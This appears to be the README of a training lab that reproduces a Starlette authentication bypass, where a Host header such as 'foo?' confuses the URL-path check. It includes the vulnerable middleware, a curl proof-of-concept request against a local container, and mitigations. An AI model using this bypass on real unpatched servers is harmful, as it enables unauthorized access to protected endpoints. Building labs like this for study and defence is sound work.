
Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710
A self-contained, containerized training lab reproducing the Starlette authentication-bypass vulnerability disclosed by X41 D-Sec.
>= 0.8.3, < 1.0.1 (lab pins 0.37.2)1.0.1⚠️ For authorized security training only. This app is deliberately vulnerable. Do not deploy it on any reachable network.
Starlette dispatches a request to a route using the raw ASGI scope["path"],
but it reconstructs request.url by string-formatting the client-supplied
Host header into "{scheme}://{host}{path}" — without validating the Host
header against RFC 9112 §3.2. Because URL metacharacters (?, /, #) are
allowed straight through, an attacker can make the reconstructed path differ
from the routed path. Any security check written against request.url.path
can then be tricked while the router still reaches the protected handler.
The vulnerable middleware allows the request only when request.url.path is
/ or empty:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
Send Host: foo? against GET /admin:
| Component | Value used |
|---|---|
Router (scope["path"]) | → dispatches |
The ? turns everything after it into the query string, so the parsed path
is empty. Auth sees an empty path and waves it through; the router still serves
/admin. Bypass achieved.
Requires Docker + Docker Compose.
docker compose up --build
Two services start:
| Service | URL | Behaviour |
|---|---|---|
vulnerable | http://localhost:8000 | bypassable |
fixed | http://localhost:8001 | mitigated (two ways) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Or run the guided PoC script:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
The vulnerable /admin handler returns a JSON body that makes the confusion
visible — note how scope_path and reconstructed_path disagree:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
See fixed/fixed_app.py. Two independent mitigations:
request.scope["path"] — the same raw path the router uses — instead of the
reconstructed request.url.path.TrustedHostMiddleware rejects unexpected/malformed
Host headers before any application logic runs, mirroring what an
RFC-compliant reverse proxy (nginx/Apache) does upstream.The real-world fix is simply upgrade to Starlette ≥ 1.0.1, which validates the Host header during URL reconstruction.
redirect_uri, cache keys,
password-reset links built from Host.)/admin) more fragile here than "decide on the
routed endpoint"? What if routing is case-insensitive or has trailing-slash
redirects?0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/adminadmin()request.url | http://foo?/admin |
request.url.path | "" → passes the auth check ✅ |